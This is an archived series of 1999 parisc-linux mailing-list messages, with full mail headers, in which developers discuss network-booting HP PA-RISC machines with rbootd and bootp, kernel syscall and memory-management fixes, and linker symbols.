Original-Received: from finlandia.Infodrom.North.DE (finlandia.Infodrom.North.DE [194.94.254.226])
	by kuolema.infodrom.north.de (Postfix) with ESMTP
	id 915E4146E7A; Sun,  7 Nov 1999 13:41:57 +0100 (CET)
Original-Received: at Infodrom Oldenburg (/\##/\ Smail-3.2.0.102 1998-Aug-2 #2)
	by finlandia.Infodrom.North.DE
	via smail from stdin
	id <m11kRdu-000bB2C@finlandia.Infodrom.North.DE>
	for parisc-linux@thepuffingroup.com; Sun, 7 Nov 1999 13:41:58 +0100 (CET) 
User-Agent: Mutt/1.0pre2i
In-Reply-To: <99110713214800.00507@beavis>
Xref: news.gmane.org gmane.linux.ports.parisc:6322

Andi wrote:
> Hi,
> 
> I am using an rbootd running on Debian 2.1 , but my HP 712/60 cant find it, I
> put the correct ethernet adress in the /etc/rbootd.conf

I guess you'll need the Puffins patch applied.  The patch is available
in the upcoming unstable aka 2.2 of Debian - I hope... In any case you'll
find a non-official package at http://master.debian.org/~joey/NMU/ .  On
2.1 box you'll need to recompile it.

Regards,

	Joey

-- 
Beware of bugs in the above code; I have only proved it correct,
not tried it.  -- Donald E. Knuth


From - Thu Nov 08 21:11:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cant use  rbootd
Date: Sun, 7 Nov 1999 13:55:16 +0100
Lines: 79
Approved: news@gmane.org
Message-ID: <19991107135516.O25252@mencheca.ch.genedata.com>
References: <199911030250.TAA16563@puffin.external.hp.com> <19991106192023.F11609@mathe.stud.uni-erlangen.de> <19991107125314.N25252@mencheca.ch.genedata.com> <99110713214800.00507@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618607 27598 80.91.229.3 (22 Nov 2014 01:10:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:07 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Andi <der_fisch@fischlustig.de>
Original-X-From: Matthew.Wilcox@genedata.com  Sun Nov  7 05:52:51 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id FAA06215
	for <parisc-linux@puffin.external.hp.com>; Sun, 7 Nov 1999 05:52:51 -0700
Original-Received: (qmail 30992 invoked by uid 15267); 7 Nov 1999 12:54:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30985 invoked from network); 7 Nov 1999 12:54:12 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 7 Nov 1999 12:54:12 -0000
Original-Received: from relay.core.genedata.com (nila-e0.core.genedata.com [157.161.173.44])
	by mail.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dA7CsAB13821;
	Sun, 7 Nov 1999 13:54:10 +0100
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by relay.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dA7Cs9F24742;
	Sun, 7 Nov 1999 13:54:09 +0100
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id NAA587727;
	Sun, 7 Nov 1999 13:54:09 +0100 (CET)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11kRqm-00026uC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for der_fisch@fischlustig.de; Sun, 7 Nov 1999 13:55:16 +0100 (CET) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <99110713214800.00507@beavis>; from Andi on Sun, Nov 07, 1999 at 01:18:39PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:6323

On Sun, Nov 07, 1999 at 01:18:39PM +0100, Andi wrote:
> Hi,
> 
> I am using an rbootd running on Debian 2.1 , but my HP 712/60 cant find it, I
> put the correct ethernet adress in the /etc/rbootd.conf
> 
> but nothing happens if i type
> 
> BOOT_ADMIN> search lan

Is rbootd definitely running?  I find that if it can't change to the
appropriate directory, it just exits silently.

BTW, /export/hp is exactly the same length as /usr/local, so

sed -e s:/export/hp:/usr/local:

allows you to use /usr/local/rbootd as somewhere to put kernels if you
don't fancy clusteering your /.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson

X-From-Line: hppa-linux@thepuffingroup.com  Wed Mar  3 18:25:04 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id SAA01264
	for <pcj@merlin.pcj.primenet.com>; Wed, 3 Mar 1999 18:25:04 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Wed, 03 Mar 1999 18:25:04 PST
Received: from smtp04.primenet.com (daemon@smtp01.primenet.com [206.165.6.134])
	by primenet.com (8.8.8/8.8.5) with ESMTP id KAA08870
	for <pcj@smtp-local.primenet.com>; Wed, 3 Mar 1999 10:43:24 -0700 (MST)
Received: (from daemon@localhost)
	by smtp04.primenet.com (8.8.8/8.8.8) id LAA24083
	for <pcj@primenet.com>; Wed, 3 Mar 1999 11:15:02 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp04.primenet.com, id smtpd024032; Wed Mar  3 11:14:54 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id MAA22222;
	Wed, 3 Mar 1999 12:09:44 -0500
Resent-Date: Wed, 3 Mar 1999 12:09:44 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Message-ID: <B782283A728ED011BBA2006097780D03F29134@COMA0S04>
From: "Mandachi, Dorin \(Omaha\)" <Dorin.Mandachi@cox.com>
To: "'hppa-linux@thepuffingroup.com'" <hppa-linux@thepuffingroup.com>
Subject: RE: Betr.: RE: [hppa-linux] Another bootstrap test
Date: Wed, 3 Mar 1999 12:09:02 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
Resent-Message-ID: <"nmmAK3.0.8R5.OpMts"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/140
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: a2f8554e5469087d2796bd44199a4c61
Lines: 10
Xref: merlin.pcj.primenet.com palinux:111

I joined the list after the bootstrap was released, can sbdy send me a copy?

thx,

Dorin Mandachi, 

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sash commands
Date: Sun, 7 Nov 1999 14:09:24 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <19991107140924.A14661@mathe.stud.uni-erlangen.de>
References: <19991105021334.J25252@mencheca.ch.genedata.com> <19991106193330.I11609@mathe.stud.uni-erlangen.de> <19991107121205.M25252@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618608 27605 80.91.229.3 (22 Nov 2014 01:10:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:08 +0000 (UTC)
Cc: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: prumpf@localhost.localdomain  Sun Nov  7 06:05:49 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id GAA06354
	for <parisc-linux@puffin.external.hp.com>; Sun, 7 Nov 1999 06:05:49 -0700
Original-Received: (qmail 421 invoked by uid 15267); 7 Nov 1999 13:07:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 414 invoked from network); 7 Nov 1999 13:07:10 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 7 Nov 1999 13:07:10 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Sun, 7 Nov 1999 14:07:08 +0100
Original-Received: (from prumpf@localhost)
	by localhost.localdomain (8.9.3/8.9.3) id OAA14747;
	Sun, 7 Nov 1999 14:09:24 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <19991107121205.M25252@mencheca.ch.genedata.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6324

> > If I see this correctly this is the 4-argument problem.  Our current (hacked)
> > syscall support only supports the register arguments because supporting the
> > other ones too just would mean nobody ever got around to fix syscall support :)
> 
> Partly.  I should be less gnomic..
> 
> Yes, the 4-argument problem is relevant, but it's not the only thing.
> sash (since it's a linux program) uses the linux arguments to sys_mount(),
> so rather than both writing hpux_mount(), I decided to convince sash to
> use the Linux entry point for sys_mount(), and that's what the sash-willy
> in puffin.external.hp.com's /tmp has different to the other sashes.

Oh.  I was under the impression mount was POSIX-defined (it is not).  Sure,
getting it to use Linux syscalls is the best thing to do.

> Then I discovered that Linux syscalls were not working because we didn't
> have a page mapped at 0xC000'1000, then I discovered we didn't have a
> page mapped at 0xC000'0000 either and there was instead a nasty kludge
> in fault.c to handle hpux syscalls.  So I added a nasty kludge in there
> to make linux syscalls work too (and they don't have the 4-argument
> limitation, due to the syscall convention which I decreed).
> 
> Now I'm blundering around in the mm system trying to figure out how to
> get gateway pages working properly.

Well, the first step would be to get PAGE_OFFSET == 0x8000 0000 (or any other value
that does not collide with 0xc000 0000) working.  I tried to keep dependencies on
it at a minimum but completely failed, so if someone could find all instances of

depi	3,1,2,XXX	and replace them with		tovirt XXX
0xc0000000 (as PAGE_OFFSET)				PAGE_OFFSET / __PAGE_OFFSET

that would help a lot (otherwise I'll try).

	Philipp Rumpf


From - Thu Nov 08 21:11:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pgtable.h:acc_rights()
Date: Sun, 7 Nov 1999 14:02:28 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <19991107140228.F14009@mathe.stud.uni-erlangen.de>
References: <19991106172023.L25252@mencheca.ch.genedata.com> <19991106205125.L11609@mathe.stud.uni-erlangen.de> <19991106214859.A1743@alpha.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618608 27615 80.91.229.3 (22 Nov 2014 01:10:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:08 +0000 (UTC)
Cc: Matthew Wilcox <Matthew.Wilcox@genedata.com>,
        parisc-linux@thepuffingroup.com
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: prumpf@localhost.localdomain  Sun Nov  7 06:06:42 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id GAA06495
	for <parisc-linux@puffin.external.hp.com>; Sun, 7 Nov 1999 06:06:41 -0700
Original-Received: (qmail 547 invoked by uid 15267); 7 Nov 1999 13:08:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 540 invoked from network); 7 Nov 1999 13:08:03 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 7 Nov 1999 13:08:03 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Sun, 7 Nov 1999 14:08:01 +0100
Original-Received: (from prumpf@localhost)
	by localhost.localdomain (8.9.3/8.9.3) id OAA14614;
	Sun, 7 Nov 1999 14:02:29 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <19991106214859.A1743@alpha.franken.de>
Xref: news.gmane.org gmane.linux.ports.parisc:6325

> the real problem is, that we don't have a working copy on write at the 
> moment. So whenever the first access to COW page is a read access, every
> write access afterwards will lead to an unhandled page fault (which causes
> a panic at the moment). 

Actually, there is some code there to explain this.  I never realized we did 
differentiate between read/write accesses and thought we were still hardcoding
a write access.  This shouldn't be too difficult to work around.

	Philipp Rumpf


From - Thu Nov 08 21:11:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andi <der_fisch@fischlustig.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cant use rbootd
Date: Sun, 7 Nov 1999 19:04:46 +0100
Organization: Fischlustig
Lines: 24
Approved: news@gmane.org
Message-ID: <99110719083800.00319@beavis>
References: <199911030250.TAA16563@puffin.external.hp.com> <19991107125314.N25252@mencheca.ch.genedata.com> <99110713214800.00507@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618608 27622 80.91.229.3 (22 Nov 2014 01:10:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:08 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: der_fisch@fischlustig.de  Sun Nov  7 11:15:20 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA07444
	for <parisc-linux@puffin.external.hp.com>; Sun, 7 Nov 1999 11:15:20 -0700
Original-Received: (qmail 19142 invoked by uid 15267); 7 Nov 1999 18:16:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19128 invoked from network); 7 Nov 1999 18:16:39 -0000
Original-Received: from ppp01029.01019freenet.de (HELO tentakel.fischlustig.de) (@212.81.132.5)
  by mailserv2.iuinc.com with SMTP; 7 Nov 1999 18:16:39 -0000
Original-Received: (qmail 14550 invoked from network); 7 Nov 1999 18:10:56 -0000
Original-Received: from beavis.fischlustig.de (HELO beavis) (andi@192.168.1.1)
  by tentakel.fischlustig.de with SMTP; 7 Nov 1999 18:10:56 -0000
X-Mailer: KMail [version 1.0.28]
In-Reply-To: <99110713214800.00507@beavis>
Xref: news.gmane.org gmane.linux.ports.parisc:6326

On Son, 07 Nov 1999, Andi wrote:
> Hi,
> 
> I am using an rbootd running on Debian 2.1 , but my HP 712/60 cant find it, I
> put the correct ethernet adress in the /etc/rbootd.conf
> 
> but nothing happens if i type
> 
> BOOT_ADMIN> search lan

OK, forget what I wrote, I used rbootd instead of bootp... oops. Booting over
the network works now. I tried the latest snapshot of the PARISC-Linux Kernel.
But it doenst seem to get far...

after 

"transferring control to kernel (...)"

nothing happens.

-- 
bye
  Andi


From - Thu Nov 08 21:11:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: cant use  rbootd
Date: Sun, 7 Nov 1999 21:10:34 -0500 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9911072107360.1761-100000@vodka.thepuffingroup.com>
References: <19991107134158.Z9767@finlandia.infodrom.north.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618609 27627 80.91.229.3 (22 Nov 2014 01:10:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:09 +0000 (UTC)
Cc: Andi <der_fisch@fischlustig.de>, parisc-linux@thepuffingroup.com
To: Martin Schulze <joey@infodrom.north.de>
Original-X-From: adevries@thepuffingroup.com  Sun Nov  7 18:00:06 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA08506
	for <parisc-linux@puffin.external.hp.com>; Sun, 7 Nov 1999 18:00:05 -0700
Original-Received: (qmail 11487 invoked by uid 15267); 8 Nov 1999 01:01:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11480 invoked from network); 8 Nov 1999 01:01:27 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 8 Nov 1999 01:01:27 -0000
Original-Received: from vodka.thepuffingroup.com (IDENT:adevries@vodka.thepuffingroup.com [192.168.1.1])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id VAA01797;
	Sun, 7 Nov 1999 21:10:34 -0500
In-Reply-To: <19991107134158.Z9767@finlandia.infodrom.north.de>
Xref: news.gmane.org gmane.linux.ports.parisc:6327

On Sun, 7 Nov 1999, Martin Schulze wrote:
> > 
> > I am using an rbootd running on Debian 2.1 , but my HP 712/60 cant find it, I
> > put the correct ethernet adress in the /etc/rbootd.conf
> 
> I guess you'll need the Puffins patch applied.  The patch is available
> in the upcoming unstable aka 2.2 of Debian - I hope... In any case you'll
> find a non-official package at http://master.debian.org/~joey/NMU/ .  On
> 2.1 box you'll need to recompile it.

To make things clearer, I know for a fact that the rpm that's on
puffin.external.hp.com will work if you create the directory that's not in
the package (yes, I've been meaning to fix that package for about 6 months
now).  The Debian package should have the same patches applied.  

Also, I'd really appreciate it if you could mail that Debian binary
package to me so I can put it on puffin.external.hp.com.

- Alex "puffin" deVries.


From - Thu Nov 08 21:11:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Schulze <joey@finlandia.Infodrom.North.DE>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: cant use  rbootd
Date: Mon, 8 Nov 1999 02:03:58 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <19991108020358.N9767@finlandia.infodrom.north.de>
References: <19991107134158.Z9767@finlandia.infodrom.north.de> <Pine.LNX.4.10.9911072107360.1761-100000@vodka.thepuffingroup.com>
Reply-To: Martin Schulze <joey@infodrom.north.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618609 27631 80.91.229.3 (22 Nov 2014 01:10:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:09 +0000 (UTC)
Cc: Andi <der_fisch@fischlustig.de>, parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: joey@finlandia.Infodrom.North.DE  Sun Nov  7 18:02:49 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA08640
	for <parisc-linux@puffin.external.hp.com>; Sun, 7 Nov 1999 18:02:49 -0700
Original-Received: (qmail 12170 invoked by uid 15267); 8 Nov 1999 01:04:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12152 invoked from network); 8 Nov 1999 01:04:09 -0000
Original-Received: from kuolema.infodrom.north.de (postfix@194.94.254.227)
  by mailserv2.iuinc.com with SMTP; 8 Nov 1999 01:04:09 -0000
Original-Received: from finlandia.Infodrom.North.DE (finlandia.Infodrom.North.DE [194.94.254.226])
	by kuolema.infodrom.north.de (Postfix) with ESMTP
	id 40153146E7D; Mon,  8 Nov 1999 02:03:59 +0100 (CET)
Original-Received: at Infodrom Oldenburg (/\##/\ Smail-3.2.0.102 1998-Aug-2 #2)
	by finlandia.Infodrom.North.DE
	via smail from stdin
	id <m11kdDy-000bK1C@finlandia.Infodrom.North.DE>
	for parisc-linux@thepuffingroup.com; Mon, 8 Nov 1999 02:03:58 +0100 (CET) 
User-Agent: Mutt/1.0pre2i
In-Reply-To: <Pine.LNX.4.10.9911072107360.1761-100000@vodka.thepuffingroup.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6328

Alex deVries wrote:
> Also, I'd really appreciate it if you could mail that Debian binary
> package to me so I can put it on puffin.external.hp.com.

Errr, can't you use lynx or wget?

Anyway, the files should be in your mailbox, source and binary.

I'll try to keep up updated.

Regards,

	Joey

-- 
Beware of bugs in the above code; I have only proved it correct,
not tried it.  -- Donald E. Knuth


From - Thu Nov 08 21:11:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cant use rbootd
Date: Mon, 8 Nov 1999 08:55:13 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <19991108085513.P25252@mencheca.ch.genedata.com>
References: <199911030250.TAA16563@puffin.external.hp.com> <19991107125314.N25252@mencheca.ch.genedata.com> <99110713214800.00507@beavis> <99110719083800.00319@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618609 27635 80.91.229.3 (22 Nov 2014 01:10:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:09 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Andi <der_fisch@fischlustig.de>
Original-X-From: Matthew.Wilcox@genedata.com  Mon Nov  8 00:52:42 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA09557
	for <parisc-linux@puffin.external.hp.com>; Mon, 8 Nov 1999 00:52:42 -0700
Original-Received: (qmail 22254 invoked by uid 15267); 8 Nov 1999 07:54:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22247 invoked from network); 8 Nov 1999 07:54:04 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 8 Nov 1999 07:54:04 -0000
Original-Received: from relay.core.genedata.com (nila-e0.core.genedata.com [157.161.173.44])
	by mail.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dA87s1816070;
	Mon, 8 Nov 1999 08:54:01 +0100
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by relay.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dA87s0e25853;
	Mon, 8 Nov 1999 08:54:00 +0100
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id IAA800608;
	Mon, 8 Nov 1999 08:53:59 +0100 (CET)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11kjdx-0002DwC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for der_fisch@fischlustig.de; Mon, 8 Nov 1999 08:55:13 +0100 (CET) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <99110719083800.00319@beavis>; from Andi on Sun, Nov 07, 1999 at 07:04:46PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:6329

On Sun, Nov 07, 1999 at 07:04:46PM +0100, Andi wrote:
> OK, forget what I wrote, I used rbootd instead of bootp... oops. Booting over
> the network works now. I tried the latest snapshot of the PARISC-Linux Kernel.
> But it doenst seem to get far...
> 
> after 
> 
> "transferring control to kernel (...)"
> 
> nothing happens.

See

http://puffin.external.hp.com/mailing-lists/parisc-linux/1068.html

The information contained therein is essential for anyone not using a
serial console.

P.S.  I've managed to find a machine to act as an rboot server now,
so I've started hacking on the HIL driver to make it work on the 7xx
series as well as the 300.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:11:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Cary Coutant <cary@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] _end symbol in parisc linux?
Date: Mon, 8 Nov 1999 11:18:01 -0800
Lines: 29
Approved: news@gmane.org
Message-ID: <199911081915.LAA28813@adlmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
X-Trace: ger.gmane.org 1416618610 27638 80.91.229.3 (22 Nov 2014 01:10:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:10 +0000 (UTC)
Cc: "Paul Bame" <bame@debian.fc.hp.com>, <parisc-linux@thepuffingroup.com>
To: "Jeff Law" <law@cygnus.com>,
        "Philipp Rumpf" <prumpf@mathe.stud.uni-erlangen.de>
Original-X-From: cary@cup.hp.com  Mon Nov  8 12:14:30 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA11182
	for <parisc-linux@puffin.external.hp.com>; Mon, 8 Nov 1999 12:14:30 -0700
Original-Received: (qmail 20118 invoked by uid 15267); 8 Nov 1999 19:15:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20108 invoked from network); 8 Nov 1999 19:15:49 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 8 Nov 1999 19:15:49 -0000
Original-Received: from adlmail.cup.hp.com (adlmail.cup.hp.com [15.0.100.30])
	by palrel1.hp.com (Postfix) with ESMTP
	id 58B7538; Mon,  8 Nov 1999 11:15:47 -0800 (PST)
Original-Received: from [15.0.97.82] (cc757591.cup.hp.com [15.0.97.82]) by adlmail.cup.hp.com with SMTP (8.8.6 (PHNE_17135)/8.7.3 TIS Messaging 5.0) id LAA28813; Mon, 8 Nov 1999 11:15:42 -0800 (PST)
x-sender: cary@adlmail.cup.hp.com
x-mailer: Claris Emailer 2.0v3, January 22, 1998
Xref: news.gmane.org gmane.linux.ports.parisc:6330

>  > > Anybody know how to get PA-Linux to have an _end symbol like
>  > > most other programs, including Intel Linux?
>  > 
>  > AFAIK we would need to have linker scripts to do so, which seems to be 
>impo
>  > ssible
>  > with the HP/UX ld.  So this is on the "things that will get nicer when 
>we h
>  > ave
>  > GNU binutils again" list.
>Actually, you can with SOM with clever use of the sort_key attribute within
>a subspace.  Create a new subspace with a larger than normal sort key.  
>Within
>that space create a single symbol "_end".

Donald Scobbie already answered the question:

>Define the symbol as:
>
>extern void *_end;
>
>and the linker will sort it out for you. See the HP-UX man page for
>'end'.

The HP-UX SOM linker will create the symbols _etext, _edata, and _end if 
they are referenced; it won't create them if they're not referenced.

-cary


From - Thu Nov 08 21:11:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] iodc console patch
Date: Mon, 8 Nov 1999 21:09:24 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <19991108210924.R25252@mencheca.ch.genedata.com>
References: <19991027234659.A2788@alpha.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618610 27639 80.91.229.3 (22 Nov 2014 01:10:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:10 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: Matthew.Wilcox@genedata.com  Mon Nov  8 13:06:50 1999
